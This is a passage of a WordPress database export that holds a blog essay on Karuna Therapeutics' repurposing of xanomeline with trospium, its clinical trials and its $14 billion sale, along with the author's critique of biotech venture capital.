target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52faeae-d87e-41ab-8c86-55f7c8868857_1524x1056.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>To be cynical about it, the story that VCs prefer where a brilliant discovery enables a drug engine that can spit out a bunch of different profitable drugs (or, in biotech parlance, a platform) is less because they think that makes for a better company and more because they think that makes for a better story for retail investors. After all, preferring a platform to a drug only makes sense if you think all drugs have the same, indefinite chance of success. Otherwise, it’s like a boxing coach saying, “Yeah, I could focus my efforts on developing this 15 year old kid named Mike Tyson who is insanely strong and fast, but I’d rather try to coach these 10 random high school students instead. After all, Mike Tyson’s just one guy, but any of these kids could be a champion!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, if you have a biotech VC in your life, try sitting them down and gently asking them if they’d be open to a nontraditional route to developing a drug. If they seem open to it, explain drug repurposing to them, and how running confirmatory clinical trials for a drug that already has clinical evidence can be a better use of money than early stage discovery, especially if they don’t insist on selling all their stock at IPO. You’ll be doing them, and the world, a favor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-1-141398123\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sildenafil comes to mind as an incredibly successful sort-of drug repurposing. It was developed as a blood pressure medication and got all the way through healthy volunteer trials before they noticed it had a fascinating side effect. So, Pfizer repurposed it as the first erectile dysfunction medication, renamed it Viagra, and it peaked (no pun intended) at $1.8 billion/year. But it never left Pfizer’s hands, so I’m not sure I’d classify it as drug repurposing in the same way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-2-141398123\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s a fascinating connection regarding the connection between dopamine and psychosis. If we think of dopamine as&nbsp;<a href=\"https://erringtowardsanswers.substack.com/p/dopamine-everything-you-need-to-know\">a reward chemical in the Bayesian sense</a>&nbsp;(weight this higher), then psychosis is a result of that going haywire, and rewarding the wrong learning so people find the wrong things significant (the newscaster looked at me so he must be talking about me). It also has the same effects on movement, which is why people on dopamine agonists have “extrapyramidal symptoms”, literally uncontrollable movements. I think it’s basically someone twitches a little bit, and then they get the dopamine reward to move a lot more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-3-141398123\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Really weird connection here: the old schizophrenic medications, like olanzapine (Zyprexa) and risperidone (Risperidal) are actually muscarinic antagonists, among their many other effects. Xanomeline, as you should remember, is a muscarinic agonist. Looking from my perspective 16 years later, I feel confident in just saying “mental illness is complicated and these old drugs hit many targets, some of which may be useless or even counterproductive”, but I’m sure that fact was brought up numerous times throughout the development of xanomeline and Karuna’s combination as an argument against them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-anchor-4-141398123\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Scientific co-founder is something that sounds impressive but it’s really hard to know what it actually means. If a young guy is a scientific cofounder of a biotech, it probably means that he’s working his butt off in the company’s lab every day and knows the minutiae of every single experiment the company is running. If an old guy is a scientific cofounder of a biotech, it probably means he just shows up once a week to talk to investors and reassure them. Given that Steven Paul was old when he became the scientific co-founder of two separate companies, his duties were probably closer to the latter than the former, which is a pretty sweet gig if you can get it.</p>\n<!-- /wp:paragraph -->','Karuna Therapeutics, a drug repurposing effort, sold for about $14 billion. This is their story.','','publish','closed','closed','','karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story','','','2024-06-12 16:17:31','2024-06-12 16:17:31','',0,'https://trevorklee.com/?page_id=433',0,'page','',0),
(434,1,'2024-06-12 16:17:31','2024-06-12 16:17:31','<!-- wp:paragraph -->\n<p><em>Shoutout to Sacha Schermerhorn for telling me about Karuna in the first place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About a month ago, Karuna Therapeutics, a drug repurposing effort, sold for $14 billion as pretty much a solo asset company. Depending on how you define drug repurposing, this is the biggest drug repurposing success of all time<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-1-141398123\">1</a>. For me and my fellow drug repurposing entrepreneurs, this is incredibly heartening, doubly so for me as Karuna’s therapy is a combination repurpose of two old drugs, one meant to prevent the adverse effects of the other, which is the exact same path I’ve been following with both of my company’s drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been disappointed but not surprised to hear crickets about this from the normally opinionated biotech venture capitalists (VCs). Even the voluble Robert Nelsen, whose Arch Venture firm owned almost 20% of Karuna when it IPO’d, made just a single post (and also retweeted the announcement post and a congratulations post) celebrating the acquisition, and then went back to tweeting about how TikTok is making Zoomers fans of Osama bin Laden.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F104348d5-b806-4ff4-b2f4-a5e37d2ef898_1082x1610.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F104348d5-b806-4ff4-b2f4-a5e37d2ef898_1082x1610.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">If I was a billionaire venture capitalist, I would not spend my time tweeting about such things, but perhaps that is why I am not a billionaire venture capitalist.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, I thought I’d be the one to tell the story. I’ve tried to piece this together from interviews, Karuna’s SEC filings, and journal articles. I wish I had access to their FDA filings, but those won’t be available until the company’s drug is approved (or not) in late 2024.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Thanks for reading my newsletter! Subscribe for free to receive new posts, mostly about biology or biotech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Subscribed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>0. The idea behind a $14 billion company</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Karuna’s story starts with a guy named Andrew Miller. He got his PhD in 2008 from MIT (go Beavers!) and immediately went to work for a company called PureTech. PureTech is a company which funds and spins out sciency companies. To be honest, a lot about PureTech is weird: the founder, Daphne Zohar, is a self-described serial entrepreneur whose previous ventures were an olive oil brand and hoof pads for race horses; their other funded ventures include CBD for epilepsy, a videogame for ADHD, and a weight loss supplement that’s just a chunk of cellulose (as well as some more traditional biotech ventures); and their stock is listed on the London Stock Exchange even though they’re entirely America-based.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I guess they had what Dr. Miller needed, mainly capital and a willingness to spend it on weird things. Almost immediately after he joined,&nbsp;<a href=\"https://ajp.psychiatryonline.org/doi/full/10.1176/appi.ajp.2008.06091591\">a paper was published by Eli Lilly scientists</a>&nbsp;about a small pilot trial of xanomeline in schizophrenia. Xanomeline is a muscarinic agonist that Eli Lilly and Novo Nordisk had developed for Alzheimer’s back in the 90s, which seemed to be effective at treating the behavioral symptoms of Alzheimer’s (i.e. dementia and psychosis). Eli Lilly had stopped development of this drug because, basically, xanomeline was too effective of a muscarinic agonist. While it successfully agonized (activated) muscarinic receptors in the brain, preventing psychosis, it also successfully agonized the muscarinic receptors in the rest of the body, causing nausea and vomiting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reading this paper 16 years later, I can clearly see the same thing that Dr. Miller saw, which is obviously also what these Eli Lilly scientists were trying to convey. Xanomeline is a relatively safe drug with a novel mechanism of action that works way better with way fewer side effects than existing drugs for psychosis. It deserved better than its shelving by Eli Lilly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I had to guess, I’d bet these Eli Lilly scientists expected this to spur innovation in developing new muscarinic agonists. They spend a lot of the paper talking about what they think the mechanism for muscarinic agonism in psychosis is, which is modulating the dopamine response<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-2-141398123\">2</a>, as proven by its effect on blocking the effect of dopamine agonists.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, Dr. Miller took their results in a different direction. He looked instead for a muscarinic antagonist that could block xanomeline’s effect on the body, so xanomeline would only agonize muscarinic receptors in the brain. He eventually settled on trospium, an antimuscarinic medication used for overactive bladder that’s been around since the 70s and does not cross the blood brain barrier<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-3-141398123\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From there, Dr. Miller and PureTech licensed xanomeline from Eli Lilly for $100k and promises of milestones. In retrospect, this was unnecessary, because xanomeline was already old then and became generic by 2016, but perhaps they were feeling overambitious in terms of timelines. And then…that was it! That was the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, that wasn’t entirely it. They still had 16 years and $200+ mm of clinical trials to get through before the drug could be approved and the company be acquired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, of course, is the downside of drug repurposing. The fun part, the sciency part, is over pretty quickly and then what’s left is the regulatory slog. You don’t need a PhD to understand the science, either, just basic logic. To recap: muscarinic agonists can treat schizophrenia, probably by modulating dopamine receptors. Xanomeline is an effective muscarinic agonist for both the brain (good for schizophrenia) and the body (bad for nausea). Trospium is a muscarinic antagonist for just the body because it can’t reach the brain. Combine the two, and you get muscarinic agonism in only the brain, and schizophrenics are better off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There was a tremendous amount of work (and money) that went into producing the knowledge in the previous paragraph. Eli Lilly and Novo Nordisk spent likely hundreds of millions developing xanomeline, testing it for safety and efficacy, and understanding its relationship to muscarinic receptors. All of that original work they definitely needed PhDs for. The original developers of trospium spent a lot of money and time, too. But Dr. Miller and PureTech didn’t have to do any of that work. They just received it, in the same way you and I did, and probably understood it in the space of a week in the same depth as they did 16 years later. This is not particularly fun from a scientist’s perspective, so most people don’t want to hear about these 16 years of no new knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this is a pity, because these 16 years of regulatory slog were important. They were the difference between a worthless drug that Eli Lilly was willing to let go for $100k in licensing fees and a drug that Bristol Myers Squibb was willing to buy for $14 billion, not to mention possibly the first treatment for schizophrenia that’s not terrible. So, in order to figure out what actually happened, we’re going to need to embrace the slog.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. The patent (a.k.a. the first slogging step)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After licensing xanomeline (which, as mentioned, was, in retrospect, unnecessary), the first regulatory step was the patent. VCs occasionally freak out about this step, because they worry that it’d be impossible to develop a strong patent for a repurposed drug or that someone else will challenge and invalidate it. In truth, this never happens. If you want a patent on something, you can get it even if it’s stupid, and it’s actually quite hard to invalidate it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>PureTech’s original patent is a great case in point. They got a patent on combining xanomeline and trospium even though it’s an obvious thing to do.&nbsp;<a href=\"https://patents.google.com/patent/EP3646870A1/en?q=(xanomeline)&amp;inventor=andrew+miller&amp;oq=xanomeline+andrew+miller&amp;sort=old\">Their patent</a>’s “concrete evidence” for why this was novel and non-obvious is that they listed the 65 muscarinic agonists and 114 muscarinic inhibitors that they found in the literature in a table. From this, they came up with 7410 possible combinations (65*114), which they allegedly ranked based on efficacy and side effects. After all of this, they found that the best combination was…the same drug they had read about in Eli Lilly’s paper, and then a really safe drug from the 70s. Surprise! This was their “invention”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since then, they’ve added some additional patents based off of their in-vivo data. But, still, the basic idea remains the same and the original patent has not been invalidated even though it’s obvious. So, an Excel table can be the intellectual property basis of a $14 billion drug. VCs can stop freaking out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The next steps were more difficult.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. Testing the combination in healthy volunteers</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In normal human drug development (i.e. discovering new chemical entities or biologics), the steps to getting to approval are something like the following, with each step carrying the implicit possibility of failing and having to go back to the previous step or even all the way back to the beginning:<br><br>a) Get idea for target receptor and possible means of hitting target</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Manufacture first, small, artisanal batch of drug. Test it in petri dishes (<em>in vitro</em>) and possibly in some kind of lab animal (<em>in vivo</em>)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Develop and manufacture the form of the drug that you will want to use in humans. Prove that this formulation is shelf-stable</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) Test the drug in two species of animals and perform clinical pathology (a.k.a. clinpath, a.k.a. dissecting the animals and checking their organs for damage) in order to see if the drug is safe</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) Test the drug in at least one Phase 1 trial in healthy volunteers for safety and to see how the drug behaves in the human body</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>f) Test the drug in at least one Phase 2 trial in sick volunteers for safety and to see how the drug impacts the disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>g) Test the drug in at least one Phase 3 trial in sick volunteers to prove the drug has the effect on the disease you say it will&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>h) Monitor the drug in at least one Phase 4 trial in patients who are paying to take your drug to prove the drug is actually working and to see if you can expand the patient population</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In drug repurposing, you’re working with drugs that have already been proven safe in animals and humans and that have been proven to be shelf-stable. Often, you’re working with drugs that already have evidence in the disease that you’re trying to treat like in Karuna (and my company’s) case.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, all steps pre-healthy human volunteers are done already (steps a-d), you can be pretty confident about safety in humans, and you can be somewhat confident about efficacy in humans. That’s a huge leg up in both speed of development and in cost of development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So Karuna, once they got their ducks in a row, were able to jump ahead to step e, and test directly in healthy volunteers. Unfortunately for Dr. Miller, getting ducks in a row apparently took a while. As far as I can tell, his timeline to get to step f, the phase 2 trial, ended up being something like this:<br><br>i. Join PureTech in summer 2008.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ii. Convince PureTech to patent xanomeline/trospium in 2010.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>iii. License xanomeline in May 2012.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>iv. Spend 3ish years slowly getting $13 mm more funds from PureTech under some very complicated royalty/intellectual property sharing agreement (I guess because Dr. Miller wanted to be separate from PureTech)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>v. Run a successful phase 1 trial that showed xanomeline/trospium had a lower rate of adverse effects than xanomeline alone</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vi. Somehow, raise $3.5 mm more from a British nonprofit, the Wellcome Trust, even though, on their website, it doesn’t look like they invest in for-profit entities</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>vii. Hire a separate team for Karuna outside of PureTech</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>viii. Run an additional phase 1 trial in healthy volunteers to find the optimal dose in healthy volunteers</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>ix. Raise a huge new round from Arch Ventures, Sofinnova, and the Wellcome Trust to get $85 mm in the bank by December 2017</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>x. Finally start a Phase II trial in people with schizophrenia September 2018</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The crazy thing is that, if you look at their financial disclosures in their S1, the entirety of the funding needed to get Karuna to step x here was under $5 mm, including salaries. And, given that these were healthy volunteer trials and Karuna was using generic APIs (i.e. drugs that were already known to be shelf stable and easily coformulated), the entirety of the scientific work (steps v and viii) involved here probably was about 8 months or so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In other words, if someone had just given Dr. Miller $5 mm in summer 2008, he probably could have been at step ix by summer 2010, accounting for lead times. But, unfortunately, nobody did, so it took him 10 years. Fundraising ended up, once again, being by far the biggest bottleneck in scientific progress. This is definitely not something I have any experience with, though. Nope, not at all. Not at all…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, onto the next step.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Testing the combination in sick volunteers</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From my point of view and from the point of view of most repurposing folk, Karuna was basically done by the time they ran their first trial in healthy volunteers and showed a lower rate of adverse effects with the combination than with xanomeline alone. It was obvious from the existing trials that the combination would work at least as well as xanomeline in schizophrenia and be safer than xanomeline alone. Given that xanomeline alone is already pretty safe and, from Eli Lilly’s small trial in schizophrenia, looked effective in schizophrenia, xanomeline/trospium was a shoo-in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The FDA, unfortunately, does not see it that way, and neither do traditional drug development companies. They see trials in healthy volunteers (a.k.a. Phase 1 trials) in drug repurposing as equivalent to Phase 1 trials in new chemical entities. That is, they are good first steps, but by no means the end of the road.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s why Karuna had to raise a huge amount of money. Not coincidentally, by this point, Dr. Miller was also already demoted to the Chief Operating Officer at Karuna and was left with only 1.3% of the company at time of IPO. His new CEO, a big-named guy named Steven Paul who had not only helped develop xanomeline at Eli Lilly but also had been the scientific cofounder of a couple high-profile biotech startups<a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing#footnote-4-141398123\">4</a>, had joined the company in August 2018, right before the IPO, and somehow owned 8% of it, possibly by investing some of his own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Raising huge amounts of money in the biotech world is costly. People do it because they have to, but, to be frank, Dr. Miller was lucky to get away with still having a high level position and &gt;1% of the company after raising such a big sum. Biotech works by the golden rule: he who has the gold makes the rule. Ideas and sweat equity are worth very little.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that’s the way the game is played. Anyhow, Karuna raised the money and started on their first big trial: a double-blind, placebo-controlled trial of 182 patients over 5 weeks in a multi-center trial. It took them about a year to announce results, and they found, unsurprisingly to me, that xanomeline/trospium (which at this point they had named KarXT) was safe and effective at treating schizophrenia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It might seem weird to you that it would take over a year to get 182 schizophrenic people to complete a 5 week trial, given that there are roughly 24 million schizophrenic people in the US. It might seem even weirder that that trial took $20 mm, given that the cost of materials was just a few hundred thousand, and that money would account for 100 doctors being paid $200k each.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well…it is kind of weird. Everyone knows it’s weird, and there are a bunch of startups with a business model of “we can cut this cost in half and still make a ton of money”, although it remains to be seen if any of those startups will be successful. To be fair to Karuna, they did have a difficult task: it’s hard to think&nbsp; of a more difficult patient population to treat than schizophrenics, especially because they required these schizophrenics to “wash out” of their current antipsychotics (i.e. quit them) for 5 weeks before starting the trial. Getting an unmedicated schizophrenic to show up for a trial on time, especially if they’re in the placebo group, has got to be a nightmare for everyone. But still, it is always somewhat of a mystery why clinical trials cost so much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, Karuna completed the trial successfully and for a reasonable amount of money, by biotech standards. Along the way, they started doing big company things, probably because they suddenly found themselves with almost $400 mm from their IPO. So, their administrative costs (outside of their trial) skyrocketed from $3mm to $21 mm, they leased 10,000 square feet in Boston and an additional 5000 square feet in Indiana for office space, and they launched pilot trials in pain and dementia-related psychosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have mixed feelings on this sudden cost surge. My viewpoint is naturally to be scrappy and cost-efficient, and I am really not sure what the point of all this office space and new staff is when you really only have one drug that’s being built by contractors anyways. On the other hand, the dementia-related psychosis indication was specifically cited by Bristol Myers Squibb as a reason they bumped up their acquisition price to $14 billion, in addition to the schizophrenia stuff. On the other, other hand, they didn’t need dozens of extra PhDs to run that trial, because that was literally the same indication that xanomeline was initially developed for, so a lot of the evidence was there already.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, whatever. Nobody asked me. Karuna spent a ton of money, got their phase 2 trial done successfully, and could now get to phase 3 trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Testing the combination to see if it works</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little strange for me, and I think there was some kind of big company politics involved. So, the FDA tells Karuna that they need to run their big phase 3 trial to prove definitively that xanomeline/trospium can treat schizophrenia. They also want to run additional, short trials for xanomeline/trospium in schizophrenia-related psychosis, and figure out their dosing for elderly people for dementia-related psychosis. They’re also pursuing a new pain indication for some reason, which seems pretty baffling from a scientific perspective but is not much money in the grand scheme of things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ok, cool. They do that. They spend 2021 getting their phase 3 underway, doing their short, 5 week trials in schizophrenia-related psychosis, and doing some additional trials in dementia-related psychosis. They spend like $30 mm on all this, and an additional $15 mm on other research and development…stuff. It’s hard to say exactly, but, then again, it’s not really making a dent in their warchest. Neither is the sudden $9 mm jump in salary cost, but it is worrying.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then 2022 rolls around, and Karuna announces that they’ve now started 3 new Phase 3 trials around the world, all in schizophrenia: one 5 week one in the US, one 5 week one in Ukraine and the US, one year long one in Puerto Rico and the US, and another year long one in the US alone. And their explanation is hard to parse. They say they want more data on how it can be used in schizophrenia, including whether it can be used as an adjunct to other drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now their trial costs have ballooned to over $100 mm per year, their salary costs have just about doubled to $50 mm a year, and their cash position is a lot more precarious. It’s baffling. Like…why? They were close to getting approved in schizophrenia, there weren\'t any other schizophrenia treatments on the horizon that they needed to compete against, and any questions about xanomeline/trospium could have been answered for much cheaper after it was approved. And then, simultaneously, they licensed their drug for sale in China for $35 million up front, which was a relative pittance and took away a potential major revenue source.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this put them in such a rough cash position that they then needed to sell more stock and raise more cash, which further diluted everyone. This all seems like such a bad idea that I can only think that someone behind the scenes had a crisis of faith and decided that they needed to stack the deck in Karuna’s favor in every way by running a bunch of phase 3 trials and by getting a small revenue stream. I guess this just goes to show that, once you’re a public company, it’s even more difficult to control activist shareholders than when you’re private, but, shoot, I bet Dr. Miller was pretty angry by the end of all this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>5. Selling the company</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By 2023, Karuna had gone full big company by not only starting 3 new phase 3 trials in dementia-related psychosis, but also licensing some random drug for anxiety from a different biotech startup, with everything combined pushing them over $200 mm in R&amp;D costs, a doubled 240 person workforce, and a new CEO from Allergan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then…it was over. Well, for our purposes at least. Karuna announced in October 2023 that their Phase 3 trial in schizophrenia was successful (which, for the record, was the same Phase 3 trial they had planned all along before the madness), the big drug companies smelled the opportunity; there was a brief bidding war; and after about two months negotiation Karuna got sold for $14 billion. And that was that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Kind of a let down, after everything. There wasn’t some cool near death experience or grand scientific discovery. There was just a clearly useful drug and a clever drug combination that seemed back in 2008 like it would probably work, and 16 years and a bunch of money and effort later, it did work and a bunch of people made a bunch of money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>6. What have we learned?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hope the biggest thing that we’ve learned is that drug repurposing can be a really, really lucrative business and does not require a lot of brilliance or luck. Dr. Miller took two generic drugs, one of which had already been developed for schizophrenia, protected them with a weak patent, and eventually sold that combination for $14 billion for schizophrenia.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the company’s leadership had been more cost conscious, they probably could have done all of that for like $50 mm total, but, as it was, it came out to more like $400 mm. Still, an amazing return.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe this doesn’t seem like a particularly surprising lesson to you. But, I can tell you, it is for biotech VCs. Biotech VCs are, for the most part, a superstitious bunch, and drug repurposing doesn’t fit in a VC’s idea of what successful drug development is supposed to be. Drug development, for a VC, is supposed to start with a discovery at a university, preferably by a famous professor at a name-brand university. This professor discovers some new way of manipulating the body that has a million different applications. The professor works together with a graduate student to illuminate at least one or two of those.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At that point, paper in hand, the graduate student and the professor go to VCs, discovery in hand. “Look,” they say to the VCs, “we were able to have these cool results with just our laboratory’s resources. Imagine what we could do with millions of dollars and 80 PhDs!”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The VCs agree. They give the graduate student millions of dollars, but also a bunch of “adult supervision” in the form of executives that the VCs know and trust. The VCs also probably take majority control of the company. They work to develop a bunch of possible drug ideas based on the professor’s discovery. Then the company raises a boatload more million dollars from a few additional VCs and makes a press announcement that they now have $100 million dollars, backing from famous VCs, and 12 different drug ideas, at least one of which is ready to move into humans sometime soon.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, the hype cycle is in full swing. Pretty soon, the company will IPO based on these incredible promises, the VCs will make back their money from retail investors, and then, well, it’s not the VCs’ problem whether the company succeeds or not. Most likely the company’s valuation will drift slowly downwards as the promises fade out and it becomes increasingly clear that the drugs will never actually become approved in humans, but maybe the drugs will succeed and the company will do well. It doesn’t matter either way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this story, the sizzle is always worth more than the steak. The VCs make their money regardless of whether the drugs work or the professor’s incredible discovery was never so incredible after all, because they only needed the drug ideas to be exciting enough to sell the stock to retail investors. So, if you or I see a stock like bluebird bio or Ginkgo’s, we think, “Man, what a waste,” but VCs see the IPO price and think, “Damn, I wish we had some failures like that in our portfolio.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d53045-7245-47f9-8cb6-bae01f267bce_1448x1054.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2d53045-7245-47f9-8cb6-bae01f267bce_1448x1054.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is a big part of why VCs have been so quiet about the incredible success of Karuna. Karuna was public when it was acquired and, instead of drifting downwards, went upwards. Arch Ventures, who would’ve made about $3 billion if they had kept their stock until the company was acquired, instead had less than 1% of the company at the time of sale (and possibly none, it’s hard to tell) and probably made about $200 million off their investment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb52faeae-d87e-41ab-8c86-55f7c8868857_1524x1056.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img 